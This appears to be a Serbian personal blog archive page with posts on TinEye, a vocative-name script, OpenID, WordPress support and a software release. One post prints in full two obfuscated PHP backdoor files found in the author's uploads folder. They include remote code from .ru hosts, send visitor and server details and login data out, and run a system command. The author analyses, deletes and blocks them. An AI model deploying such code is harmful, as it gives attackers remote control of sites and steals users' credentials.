Svi postovi sa bloga: Avramov bRlog

Danas dobih rođendanski poklon od kolege Zigija i ortaka taleta (piše se sa malim “t” :-)). Kupili su mi USB lampu za notebook računar. Jes da umem da kucam na slepo, ali ostatak tastature (home/end/pgup/pgdn tasteri prvenstveno) ima drugačiji raspored tastera u odnosu na standardne tastature, tako da ponekad ovo može dobro doći, kada se npr. radi u mraku a ekran ne daje dovoljno osvetljenja.

Slike su načinjene mobilnim telefonom, pošto mi je izgleda otišao CCD senzor na foto aparatu.

TinEye je pretraživač slika. Međutim, on slike ne pretražuje po ključnim rečima nego po - sadržaju! Za razliku od standardnih pretraživača koji pretražuju slike po ključnim rečima, ovaj pretraživač slike pretražuje po samom sadržaju slike. I to radi vrlo uspešno:

Danas mi je zatrebala neka slika i otišao sam na Google, te ukucao ključne reči “i love you“. Iskočila mi je jedna sličica koju sam poželeo da iskoristim. Međutim, slika nije postojala na originalnoj lokaciji (i u originalnoj veličini). Onda se setih da sam relativno skoro čuo za pretraživač slika koji u svom imenu sadrži “eye”, pa se poslužih Google-om i dobih pravu adresu: http://tineye.com/

Zatim sam se registrovao/ulogovao na taj sajt, uzeo URL thumbnail-a slike sa Google-a i prosledio ga TinEye-u. Rezultati su zapanjujući - našao sam 19 sličnih slika, od kojih je najveća bila 410×329 piksela, što je sasvim zadovoljavajuća veličina za ovo što mi treba ;-)

p.s. Većina linkova u ovom postu ukazuju na Google-ov cache slika, tako da je moguće da će posle nekog vremena prestati da rade.

Pre nekog vremena povela se diskusija na DevProTalk-u (inicijator je bio Filip Miletić) o tome da se napravi programska promena imena po padežima, odnosno, za početak, samo iz nominativa u vokativ, a sve u cilju da se, kada vam se sajt obraća, obraća sa npr.  “Zdravo Filipe”, umesto “Zdravo Filip”, čak iako ste prilikom registracije kao ime uneli “Filip”.

Inicijalnu verziju napravio je Miloš Vukotić, a onda sam mu se pridružio i ja, te smo malo sredili projekat. Rezultat je - Projekat Vokativ.

“Vokativ” je pokušaj da se obezbedi što preciznija automatska programska promena prvenstveno ličnih imena, a onda i ostalih imenica iz nominativa u vokativ. Zamislite da se na nekom sajtu registrujete sa imenom “Filip”, i umesto da vas sajt, kada se sledeći put ulogujete, pozdravi sa “Zdravo Filip!” što je normalno za sajtove sa engleskog govornog područja (”Hello Filip!” je sasvim primereno), taj pozdrav glasi “Zdravo Filipe!”, što je normalno za srpski jezik.

Pozivam vas sve da istestirate skriptu i da podelite svoje mišljenje sa mnom, ovde -)

http://vokativ.vokabular.org/

Poslednja reklama italijanske modne kuće je malo… previše? Mada… svaka čast za ideju -)

p.s. Ako video slučajno bude uklonjen sa metacafe-a (kao što su uklonili 50 kopija istog sa YouTube-a), možete ga videti na www.sfwxxx.com

Danas je krenuo sa radom forum za podršku domaćim korisnicima Wordpress-a, kao što sam i najavio prošlog meseca. To što u naslovu piše “srpski Wordpress” ne znači da ste obavezni da koristite lokalizovanu verziju softvera, već da je forum namenjen korisnicima sa našeg govornog područja.

Jako mi je drago da je napokon krenuo sa radom naš forum, i nadam se da će ovo biti centralno mesto gde će se okupljati ljudi kojima je potrebna podrška za Wordpress, pošto smo do sad bili uglavnom razbacani po nekim domaćim foruma.

Ukoliko već imate nalog na Wordpress.org, nije potrebno da se ponovo registrujete već možete koristiti isti nalog, pošto se koristi ista baza korisnika. A da ne biste svaki čas svraćali na forum da vidite ima li novih poruka, forum možete pratiti i preko glavnog RSS izvora.

A sad, pravac http://sr.forums.wordpress.org/

Znate li šta je OpenID?

Sa OpenID tehnologijom više ne morate da pamtite gomilu korisničkih imena (username) jer OpenID eliminiše potrebu da se iznova svaki put registrujete na svakom novom sajtu.

Kako? Registrujete se samo jednom kod nekog OpenID provajdera, i od tada se svuda, čak i na sajtovima koje prvi put posećujete, prijavljujete sa tim jednim korisničkim imenom! Sajt na koji se prijavljujete kontaktira vašeg OpenID provajdera i dobija potvrdu da su podaci ispravni i vi ste ušli!

Jedna od najvećih prednosti OpenID sistema je to što sajt na koji se logujete ni u jednom trenutku ne dobija vašu OpenID šifru, tako da ne postoji apsolutno nikakva mogućnost da ista bude zloupotrebljena (pošto znamo da većina korisnika koristi jednu ili par šifara za sve sajtove na koje se loguju).

Prilikom prijave koristite samo vaše korisničko ime, odnosno vašu OpenID URL adresu! Tada vas na kratko prebace kod vašeg OpenID provajdera gde ukucavate svoju lozinku. Kada je provajder potvrdio da ste to stvarno vi, vraća vas na željeni sajt kao prijavljenog korisnika.

Uskoro se planira pokretanje prvog srpskog OpenID servisa, a ja sam u cilju promovisanja ove tehnologije omogućio da i na bRlogu možete ostavljati komentare, identifikujući se samo sa svojom OpenID URL adresom, koju možete uneti u polje za web sajt. Dakle, sada ne morate unositi ni svoje ime ni e-mail adresu (njih će “popuniti” vaš OpenID provajder identiteta) već samo adresu (i komentar) i OpenID će sve ostalo da sredi ;-)

izvor: mojid.rs

Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:

base.php

  • error_reporting(0);
  • if (isset($_POST["l"]) and isset($_POST["p"])) {
  •         if (isset($_POST["input"])) {
  •                 $user_auth = "&l=" . base64_encode($_POST["l"]) . "&p=" . base64_encode(md5($_POST["p"]));
  •         } else {
  •                 $user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
  •         }
  • } else {
  •         $user_auth = "";
  • }
  • if (!isset($_POST["log_flg"])) {
  •         $log_flg = "&log";
  • }
  • if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
  •         if ($_POST["l"] == "special") {
  •                 print "sys_active" . `uname -a`;
  •         }
  • }
  • create.php

  • error_reporting(0);
  • $s = "e";
  • $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
  • $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
  • $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
  • $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
  • $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
  • $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
  • $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
  • $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
  • $str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s";
  • if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
  • } else {
  •         include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
  • }
  • Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese - klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje - ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.

    A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama. -D

    Krajem prošog meseca bejah na prezentaciji Google Apps organizovanoj od strane CRI-a. Prezentacija je na  blogu ovog domaćeg provajdera najavljena svega dva dana pre održavanja iste, a ostali mediji na Internetu su vest objavili veče pre održavanja, tako da me neće čuditi ukoliko niste čuli za ovo dešavanje. A ja se izvinjavam što nisam ranije ovo okačio, jednostavno sam zaboravio u svoj onoj trci oko Instant Update-a.

    Sve u svemu, nije bilo loše. Upoznah lično par ljudi sa kojima sam kontaktirao ranije preko interneta, među kojima su Nebojša Radović (www.eniax.net), Zoran Torbica (www.cri.rs) i Slobodan Marković (www.internodium.org).

    Drugi video snimak je napravljen za potrebe mog sajta www.dredovi.info, pošto se dosta posetilaca pitalo “Kako se zapravo prave dredovi?” pa smo pored teksta, napravili i video snimak. U devet minuta spakovano je pravljenje i sređivanje dreda (što inače zajedno traje 20-30 minuta):

    Iako sam ga najavio za kraj juna, pa se to ispostavilo kao loša procena, te smo prekoračili rok za nešto više od mesec dana… no, napokon je Instant Update 3 objavljen. Bio je gotov još 20. avgusta, ali trebalo je dodatno ga ispeglati vizuelno i ispraviti neke greškice koje su se javljale u hodu, te izmeniti dosta stvari ispod haube na samom sajtu, što smo završili danas. Od devet najavljenih tačaka postigli smo da odradimo osam, a jedina koju nismo implementirali uopšte je - višejezičnost. Iako se skripta da prilično lako prevesti (menjanjem slika i prevođenjem nekih fajlova) prava drop-in izmena jezika ne postoji, ali evo, obećavam da ćemo u budućnosti i to implementirati, a dok to ne uradimo moraćete se zadovoljiti novim dashboard-om, korisničkim grupama sa nivoima pristupa, automatskim kreiranjem navigacionih menija, novim WYSIWYG editorom, novim plain-text editorom (editor fajlova sa highlightom HTML sintakse), potpuno novom dokumentacijom i osnovnom podrškom za dodatke (plugin-ove). Evo kratkog video snimka gde možete videti šta smo novo ubacili u novi Instant Update:

    Disklejmer: Originalni video je 640×480px, a ovo je samo skupljena verzija jer sam izrenderovao 400×300px, pa je bio iste veličine (12MB) pa nisam hteo i to da kačim na server, ali vidim da je možda bilo bolje da sam to okačio. No, iskreno, mrzelo me opet da “rendam” sat vremena, nije se imalo vremena. Enivej, ako želite negde da “embedujete” ovaj video snimak, možete pokupiti kodove sa Instant Update sajta (640×480, 400×300).

    Eh sad, iskreno, moglo je još da se radi na Instant Update-u, ali duboko smo prekoračili postavljene rokove, te smo odlučili da izbacimo ovu stabilnu verziju. Biće novih verzija, ali osim te višejezičnosti sumnjam da će biti bilo čega novog osim manjih peglanja koda i ispravljanja bugova (kojih, verujem, ima).

    Ova verzija je, razumno, nešto malo skuplja od prethodne, ali stari korisnici mogu da plate samo razliku i da dobiju novu verziju. Takođe, skripta se instalira uz pomoć Transaction ID-a koji dobijete od PayPal-a tako da se nadam da ćemo barem malo zagorčati život krekerima, a ne kao prošla verzija (nije bila nikako zaštićena) koja se našla na warez-bb.org -(

    Screen shot-ove neću da ostavljam jer sada imate live demo na sajtu, pa vas pozivam da isprobate Instant Update što pre. Zato, pravac www.instant-update.com!

    Danas, pošto sam objavio kritiku o Google Chrome browser-u, više nisam bio u mogućnosti da izmenim taj unos i da ispravim greške nastale u njemu, jer kad god bih to pokušao, čekala bi me sledeća greška:

    Warning: ini_set() has been disabled for security reasons in /home/user/public_html/wp-includes/pluggable.php on line 1517

    Warning: require_once(Text/Diff/Renderer.php) [function.require-once]: failed to open stream: No such file or directory in /home/user/public_html/wp-includes/Text/Diff/Renderer/inline.php on line 17

    Fatal error: require_once() [function.require]: Failed opening required ‘Text/Diff/Renderer.php’ (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/user/public_html/wp-includes/Text/Diff/Renderer/inline.php on line 17

    Ne znam zašto se to dešavalo sa tim unosom, jer je kod svih ostalih radilo. U svakom slučaju, rešenje problema je prilično jednostavno i zahteva editovanje dva fajla, a to su:

    1. wp-includes/Text/Diff/Renderer/inline.php

    Kod na liniji 17 treba zameniti sledećim kodom:

  • require_once ABSPATH . WPINC . ‘/Text/Diff/Renderer.php’;
  • 2. wp-includes/Text/Diff.php

    Kod na liniji 52 treba zameniti sledećim kodom:

  • require_once ABSPATH . WPINC . ‘/Text/Diff/Engine/’ . $engine . ‘.php’;
  • izvor za rešenje: http://www.wacdesigns.com/

    blogodak blog

    Blogodak?

    Blogodak je vaš pogled na domaću blogosferu. Prijavite se i napravite sopstvenu listu blogova koje pratite.

    O projektu

    Podrška

    MyCity.co.yu

    DevProTalk